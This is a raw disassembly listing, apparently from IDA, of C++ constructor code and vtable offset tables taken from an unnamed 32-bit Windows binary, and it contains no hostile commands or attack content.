off_69B161EC dd offset sub_69B2D67E ; DATA XREF: sub_69B16198+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B742DA
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B752DA
loc_69B16224: ; CODE XREF: sub_69B752DA+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B72FBE
mov dword ptr [esi], offset off_69B16240
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B752DA
; ---------------------------------------------------------------------------
align 10h
off_69B16240 dd offset sub_69B2D67E ; DATA XREF: sub_69B752DA-5F0AAo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72FB8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B72FE6
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B72FDD
dd offset nullsub_3
dd offset sub_69B7521B
dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B755D6
loc_69B16284: ; CODE XREF: sub_69B755D6+Dj
push esi
push 0
push [esp+8+arg_0]
mov esi, ecx
call sub_69B70112
mov dword ptr [esi], offset off_69B162A0
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B755D6
; ---------------------------------------------------------------------------
align 10h
off_69B162A0 dd offset sub_69B2D67E ; DATA XREF: sub_69B755D6-5F344o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B7564C
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B70041
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7013A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B756D0
dd offset sub_69B755ED
dd offset sub_69B701AA
dd offset sub_69B700EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B75733
loc_69B162E4: ; CODE XREF: sub_69B75733+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B72FBE
mov dword ptr [esi], offset off_69B16300
and dword ptr [esi+14h], 0
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B75733
; ---------------------------------------------------------------------------
off_69B16300 dd offset sub_69B2D67E ; DATA XREF: sub_69B75733-5F443o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B75506
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72FB8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B72FE6
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B756D0
dd offset sub_69B75667
dd offset sub_69B756E6
dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B75828
loc_69B16344: ; CODE XREF: sub_69B75828+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B72FBE
mov dword ptr [esi], offset off_69B16360
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B75828
; ---------------------------------------------------------------------------
align 10h
off_69B16360 dd offset sub_69B2D67E ; DATA XREF: sub_69B75828-5F4D8o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72FB8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B72FE6
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B72FDD
dd offset sub_69B7577A
dd offset nullsub_3
dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B75912
loc_69B163A4: ; CODE XREF: sub_69B75912+Dj
push esi
push edi
push 0
push [esp+0Ch+arg_0]
mov esi, ecx
push 0
call sub_69B724DF
push [esp+8+arg_0]
mov dword ptr [esi], offset off_69B163E0
and dword ptr [esi+2Ch], 0
lea edi, [esi+30h]
and dword ptr [edi], 0
call sub_69B75828
push eax
push edi
call sub_69B17320
pop edi
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B75912
; ---------------------------------------------------------------------------
align 10h
off_69B163E0 dd offset sub_69B2D67E ; DATA XREF: sub_69B75912-5F559o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B758F7
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B74FB2
dd offset sub_69B75929
dd offset sub_69B758AF
dd offset sub_69B59D1C
dd offset sub_69B757FD
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset nullsub_3
dd offset sub_69B70398
dd offset sub_69B72E2D
dd offset nullsub_3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B7598A
loc_69B16440: ; CODE XREF: sub_69B7598A+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B72FBE
mov dword ptr [esi], offset off_69B16460
and dword ptr [esi+14h], 0
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B7598A
; ---------------------------------------------------------------------------
align 10h
off_69B16460 dd offset sub_69B2D67E ; DATA XREF: sub_69B7598A-5F53Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B75506
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72FB8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B72FE6
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B756D0
dd offset sub_69B7596A
dd offset sub_69B759A1
dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B75DBB
loc_69B164A4: ; CODE XREF: sub_69B75DBB+Dj
push esi
push edi
xor edi, edi
push edi
push [esp+0Ch+arg_4]
mov esi, ecx
push [esp+10h+arg_0]
call sub_69B724DF
mov eax, [esp+8+arg_8]
mov dword ptr [esi], offset off_69B164D8
mov [esi+2Ch], edi
mov [esi+30h], edi
mov [esi+34h], edi
mov [esi+38h], edi
mov [esi+3Ch], eax
pop edi
mov eax, esi
pop esi
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B75DBB
; ---------------------------------------------------------------------------
off_69B164D8 dd offset sub_69B2D67E ; DATA XREF: sub_69B75DBB-5F8FFo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B75D71
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B75B2F
dd offset sub_69B75DD2
dd offset sub_69B72DBF
dd offset sub_69B59D1C
dd offset sub_69B75B50
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset sub_69B75C38
dd offset sub_69B70398
dd offset sub_69B72E2D
dd offset nullsub_3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B75F5E
loc_69B16538: ; CODE XREF: sub_69B75F5E+Dj
push esi
push 0
push [esp+8+arg_4]
mov esi, ecx
push [esp+0Ch+arg_0]
call sub_69B724DF
movzx eax, [esp+4+arg_8]
mov dword ptr [esi], offset off_69B16578
and dword ptr [esi+2Ch], 0
and dword ptr [esi+30h], 0
and dword ptr [esi+34h], 0
shl eax, 1
xor eax, [esi+38h]
and eax, 2
xor [esi+38h], eax
mov eax, esi
pop esi
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B75F5E
; ---------------------------------------------------------------------------
align 8
off_69B16578 dd offset sub_69B2D67E ; DATA XREF: sub_69B75F5E-5FA0Fo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B76041
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B72310
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B7254A
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B75F75
dd offset sub_69B75E84
dd offset sub_69B72DBF
dd offset sub_69B59D1C
dd offset sub_69B7235C
dd offset sub_69B6860C
dd offset sub_69B72CC3
dd offset sub_69B75FA1
dd offset sub_69B70398
dd offset sub_69B72E2D
dd offset nullsub_3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B76419
loc_69B165D8: ; CODE XREF: sub_69B76419+Dj
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
mov al, [esp+8+arg_0]
mov dword ptr [esi], offset off_69B18240
mov dword ptr [edi], offset off_69B16620
and dword ptr [esi+0Ch], 0
test al, al
mov [esi+10h], al
jnz short loc_69B16610
or dword ptr [esi+14h], 0FFFFFFFFh
mov byte ptr [esi+12h], 1
jmp short loc_69B16614
; ---------------------------------------------------------------------------
loc_69B16610: ; CODE XREF: sub_69B76419-5FE15j
mov byte ptr [esi+11h], 1
loc_69B16614: ; CODE XREF: sub_69B76419-5FE0Bj
pop edi
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B76419
; ---------------------------------------------------------------------------
align 10h
off_69B16620 dd offset sub_69B65C47 ; DATA XREF: sub_69B76419-5FE24o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B7624E
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B62A4E
dd offset loc_69B76256
dd offset loc_69B7625C
dd offset loc_69B762B5
dd offset sub_69B76082
dd offset sub_69B760B0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B76C95
loc_69B1666C: ; CODE XREF: sub_69B76C95+Dj
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B768F4
mov dword ptr [esi], offset off_69B16688
and dword ptr [esi+14h], 0
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B76C95
; ---------------------------------------------------------------------------
off_69B16688 dd offset sub_69B2D67E ; DATA XREF: sub_69B76C95-6061Do
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B76AD5
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B88DCD
dd offset nullsub_5
dd offset sub_69B76927
; =============== S U B R O U T I N E =======================================
sub_69B166C0 proc near ; CODE XREF: sub_69B76EFC+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
push [esp+0Ch+arg_0]
mov dword ptr [edi], offset off_69B16740
xor eax, eax
mov dword ptr [esi], offset off_69B16794
lea edi, [esi+0Ch]
mov [edi], eax
mov [esi+10h], eax
lea ebx, [esi+14h]
mov [ebx], eax
push edi
mov [esi+1Ch], eax
call sub_69B17320
mov eax, [esp+0Ch+arg_4]
push 800h
mov [esi+20h], eax
call sub_69B88D8C
push eax
push ebx
call sub_69B17320
mov edi, [edi]
push 1
xor eax, eax
push eax
push eax
push eax
push 11h
mov ecx, edi
call sub_69B3D2F2
push eax
mov [esi+18h], eax
lea eax, [esi+1Ch]
push eax
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_69B166C0 endp
; ---------------------------------------------------------------------------
align 10h
off_69B16740 dd offset sub_69B65C47 ; DATA XREF: sub_69B166C0+18o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B76CE1
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset loc_69B76E9A
dd offset loc_69B76D8B
dd offset loc_69B76DCF
dd offset nullsub_5
dd offset loc_69B76E05
dd offset loc_69B76E47
dd offset sub_69B76CC3
dd offset loc_69B76E77
off_69B16794 dd offset sub_69B6547B ; DATA XREF: sub_69B166C0+20o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset loc_69B76EA2
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset loc_69B76CE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B76F19
loc_69B167CC: ; CODE XREF: sub_69B76F19+Dj
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
mov dword ptr [edi], offset off_69B16828
pop edi
mov dword ptr [esi], offset off_69B167F0
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B76F19
; ---------------------------------------------------------------------------
off_69B167F0 dd offset sub_69B6547B ; DATA XREF: sub_69B76F19-60733o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B76F53
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
off_69B16828 dd offset sub_69B65C47 ; DATA XREF: sub_69B76F19-6073Ao
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B76F36
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
dd offset nullsub_3
dd offset nullsub_8
dd offset nullsub_5
dd offset nullsub_7
dd offset nullsub_3
dd offset nullsub_7
dd offset nullsub_5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B772D5
loc_69B1687C: ; CODE XREF: sub_69B772D5+Dj
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
push [esp+8+arg_4]
mov ecx, [esp+0Ch+arg_0]
lea eax, [esi+10h]
mov dword ptr [esi], offset off_69B168C0
mov dword ptr [edi], offset off_69B168F8
and dword ptr [eax], 0
push eax
mov [esi+0Ch], ecx
call sub_69B17320
mov al, [esp+8+arg_8]
mov [esi+19h], al
pop edi
mov eax, esi
pop esi
retn 0Ch
; END OF FUNCTION CHUNK FOR sub_69B772D5
; ---------------------------------------------------------------------------
off_69B168C0 dd offset sub_69B6547B ; DATA XREF: sub_69B772D5-60A3Bo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B1D5D8
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B76F2E
off_69B168F8 dd offset sub_69B65C47 ; DATA XREF: sub_69B772D5-60A35o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B77078
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B77080
dd offset sub_69B770D8
dd offset sub_69B771EE
dd offset sub_69B76F7E
dd offset sub_69B76F9F
dd offset sub_69B76FDD
dd offset sub_69B76FB1
dd offset sub_69B772BC
; =============== S U B R O U T I N E =======================================
sub_69B1694C proc near ; CODE XREF: .text:69B781AEp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B77D7D
push [esp+4+arg_4]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B1697C
mov dword ptr [esi+4], offset off_69B280B8
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 8
sub_69B1694C endp
; ---------------------------------------------------------------------------
align 4
off_69B1697C dd offset sub_69B45BAF ; DATA XREF: sub_69B1694C+13o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B78E83
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B78F44
dd offset sub_69B78FEC
; =============== S U B R O U T I N E =======================================
sub_69B1699C proc near ; CODE XREF: sub_69B782DC+12Ep
; sub_69B79B41+172p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B77D97
push [esp+4+arg_4]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B169D0
mov dword ptr [esi+4], offset off_69B280B8
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 8
sub_69B1699C endp
; ---------------------------------------------------------------------------
align 10h
off_69B169D0 dd offset sub_69B79EA1 ; DATA XREF: sub_69B1699C+13o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B79F32
dd offset sub_69B79FE4
dd offset sub_69B7A09C
dd offset sub_69B7A15C
dd offset sub_69B7A21C
dd offset sub_69B84A3B
dd offset sub_69B7A2DC
dd offset sub_69B7A39C
dd offset sub_69B79E99
dd offset sub_69B7A45C
dd offset sub_69B7A504
dd offset sub_69B7A5AC
dd offset sub_69B7A664
dd offset sub_69B7A71C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B7808B
loc_69B16A14: ; CODE XREF: sub_69B7808B+Dj
push esi
mov esi, ecx
call sub_69B19118
push [esp+4+arg_0]
lea eax, [esi+8]
mov dword ptr [esi], offset off_69B16A3C
and dword ptr [eax], 0
and dword ptr [esi+0Ch], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B7808B
; ---------------------------------------------------------------------------
off_69B16A3C dd offset sub_69B2D67E ; DATA XREF: sub_69B7808B-61668o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B78671
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B7806A
; =============== S U B R O U T I N E =======================================
sub_69B16A74 proc near ; CODE XREF: sub_69B786CD+7Ep
; sub_69B78A1F-113p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
call sub_69B19118
push [esp+0Ch+arg_0]
xor eax, eax
mov dword ptr [esi], offset off_69B16AE0
lea edi, [esi+8]
mov [edi], eax
lea ebx, [esi+0Ch]
mov [ebx], eax
push edi
mov [esi+10h], eax
call sub_69B17320
mov eax, [edi]
push dword ptr [eax+70h]
push ebx
call sub_69B17320
push offset MultiByteStr ; lpMultiByteStr
call sub_69B1D494
push eax
call sub_69B1A2EC
mov ebx, [ebx]
push 0
push 0
push eax
mov ecx, ebx
call sub_69B3DA18
push eax
call sub_69B7808B
push eax
lea eax, [esi+10h]
push eax
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B16A74 endp
; ---------------------------------------------------------------------------
align 10h
off_69B16AE0 dd offset sub_69B2D67E ; DATA XREF: sub_69B16A74+10o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B7868C
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
; =============== S U B R O U T I N E =======================================
sub_69B16B18 proc near ; CODE XREF: sub_69B8337C+B8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov ebx, ecx
call sub_69B81864
push [esp+0Ch+arg_8]
lea eax, [ebx+74h]
mov dword ptr [ebx], offset off_69B16B9C
mov dword ptr [ebx+4], offset off_69B16B98
mov dword ptr [ebx+10h], offset off_69B2A7D4
mov dword ptr [ebx+14h], offset off_69B16B84
and dword ptr [eax], 0
lea esi, [ebx+78h]
and dword ptr [esi], 0
push eax
call sub_69B17320
push [esp+0Ch+arg_C]
push esi
call sub_69B17320
mov esi, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
push 15h
pop ecx
lea edi, [ebx+20h]
rep movsd
mov eax, [eax]
and dword ptr [ebx+38h], 0
or eax, 3
pop edi
mov [ebx+1Ch], eax
pop esi
mov eax, ebx
pop ebx
retn 10h
sub_69B16B18 endp
; ---------------------------------------------------------------------------
align 4
off_69B16B84 dd offset loc_69B8176D ; DATA XREF: sub_69B16B18+25o
dd offset loc_69B709B2
dd offset loc_69B709BC
dd offset loc_69B82B20
dd offset sub_69B8130F
off_69B16B98 dd offset loc_69B8365C ; DATA XREF: sub_69B16B18+17o
off_69B16B9C dd offset sub_69B816FA ; DATA XREF: sub_69B16B18+11o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B81135
dd offset sub_69B81157
dd offset sub_69B81175
dd offset sub_69B81193
dd offset sub_69B811BC
dd offset sub_69B82AFE
dd offset sub_69B81652
dd offset sub_69B81229
; =============== S U B R O U T I N E =======================================
sub_69B16BC8 proc near ; CODE XREF: sub_69B887B0+Fp
; sub_69B887E9+Ep
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B16C28
mov dword ptr [esi+8], offset off_69B16BF0
and dword ptr [esi+14h], 0
and dword ptr [esi+18h], 0
mov dword ptr [esi+1Ch], 1
mov eax, esi
pop esi
retn
sub_69B16BC8 endp
; ---------------------------------------------------------------------------
off_69B16BF0 dd offset loc_69B8874D ; DATA XREF: sub_69B16BC8+Eo
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B886D8
dd offset sub_69B8868D
dd offset sub_69B365E3
dd offset sub_69B84A43
dd offset sub_69B365EB
dd offset sub_69B84A3B
dd offset sub_69B365F3
dd offset sub_69B365EB
dd offset sub_69B365EB
dd offset sub_69B84A43
dd offset sub_69B84A3B
off_69B16C28 dd offset sub_69B88650 ; DATA XREF: sub_69B16BC8+8o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B88778
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B88641
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B88757
; =============== S U B R O U T I N E =======================================
sub_69B16C60 proc near ; CODE XREF: sub_69B8A4A3+25p
push esi
push edi
mov esi, ecx
call sub_69B19118
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
mov dword ptr [edi], offset off_69B16C88
mov dword ptr [esi], offset off_69B18240
and dword ptr [esi+0Ch], 0
pop edi
mov eax, esi
pop esi
retn
sub_69B16C60 endp
; ---------------------------------------------------------------------------
off_69B16C88 dd offset sub_69B65C47 ; DATA XREF: sub_69B16C60+13o
dd offset sub_69B65C51
dd offset sub_69B65C5B
dd offset sub_69B7624E
dd offset sub_69B76F3B
dd offset sub_69B76F43
dd offset sub_69B76F4B
dd offset sub_69B6860C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B62A4E
dd offset sub_69B8A3F6
dd offset sub_69B8A407
dd offset sub_69B8A2EF
dd offset sub_69B71456
; =============== S U B R O U T I N E =======================================
sub_69B16CD0 proc near ; CODE XREF: sub_69B8A894+11p
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B16CEC
and dword ptr [esi+20h], 0
and dword ptr [esi+24h], 0
mov eax, esi
pop esi
retn
sub_69B16CD0 endp
; ---------------------------------------------------------------------------
align 4
off_69B16CEC dd offset sub_69B2D67E ; DATA XREF: sub_69B16CD0+8o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B1C2C8
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B16D24 proc near ; CODE XREF: sub_69B8B5C1+29p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
call sub_69B19118
push [ebp+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B16D84
lea eax, [esi+1Ch]
lea edi, [esi+8]
mov [edi], ecx
lea ebx, [esi+0Ch]
mov [ebx], ecx
push eax
mov [eax], ecx
call sub_69B17320
push [ebp+arg_4]
push edi
call sub_69B17320
push [ebp+arg_8]
push ebx
call sub_69B17320
mov eax, [ebp+arg_C]
mov [esi+10h], eax
mov eax, [ebp+arg_10]
mov [esi+14h], eax
mov al, [ebp+arg_14]
mov [esi+18h], al
mov eax, [ebp+arg_18]
mov [esi+20h], eax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 1Ch
sub_69B16D24 endp
; ---------------------------------------------------------------------------
off_69B16D84 dd offset sub_69B2D67E ; DATA XREF: sub_69B16D24+12o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8BAAE
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8B32E
; =============== S U B R O U T I N E =======================================
sub_69B16DBC proc near ; CODE XREF: sub_69B8BEFC+Dj
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
call sub_69B18654
mov dword ptr [esi], offset off_69B16E40
push [esp+8+arg_0]
xor ebx, ebx
mov [esi+10h], ebx
or dword ptr [esi+14h], 0FFFFFFFFh
mov [esi+18h], ebx
mov dword ptr [esi+0Ch], offset off_69B16E34
mov [esi+20h], ebx
or dword ptr [esi+24h], 0FFFFFFFFh
mov [esi+28h], ebx
mov dword ptr [esi+1Ch], offset off_69B16E38
lea eax, [esi+34h]
mov [eax], ebx
mov [esi+38h], ebx
mov [esi+3Ch], ebx
mov [esi+40h], ebx
mov [esi+44h], ebx
mov [esi+48h], ebx
mov [esi+4Ch], ebx
mov [esi+50h], ebx
mov [esi+54h], ebx
mov [esi+58h], ebx
mov [esi+5Ch], ebx
mov [esi+60h], ebx
push eax
mov [esi+64h], ebx
call sub_69B2DEB2
mov [esi+2Ch], bl
mov [esi+2Fh], bl
mov [esi+2Dh], bl
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B16DBC endp
; ---------------------------------------------------------------------------
align 4
off_69B16E34 dd offset sub_69B8B407 ; DATA XREF: sub_69B16DBC+1Fo
off_69B16E38 dd offset sub_69B8B436 ; DATA XREF: sub_69B16DBC+30o
dd offset sub_69B8AE35
off_69B16E40 dd offset sub_69B2D67E ; DATA XREF: sub_69B16DBC+9o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8BB15
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B2D6C8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8BAEF
; =============== S U B R O U T I N E =======================================
sub_69B16E78 proc near ; CODE XREF: sub_69B8E980+1C9p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
mov esi, ecx
call sub_69B19118
push [esp+4+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B16EC0
lea eax, [esi+8]
mov [eax], ecx
mov [esi+0Ch], ecx
mov [esi+10h], ecx
mov [esi+14h], ecx
mov [esi+18h], ecx
push eax
mov [esi+20h], ecx
call sub_69B17320
mov ecx, [esi+30h]
xor eax, eax
mov al, [esp+4+arg_4]
and ecx, 0FFFFFFFAh
and eax, 1
or eax, ecx
mov [esi+30h], eax
mov eax, esi
pop esi
retn 8
sub_69B16E78 endp
; ---------------------------------------------------------------------------
off_69B16EC0 dd offset sub_69B2D67E ; DATA XREF: sub_69B16E78+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8C5EF
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B8C538
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8C5AE
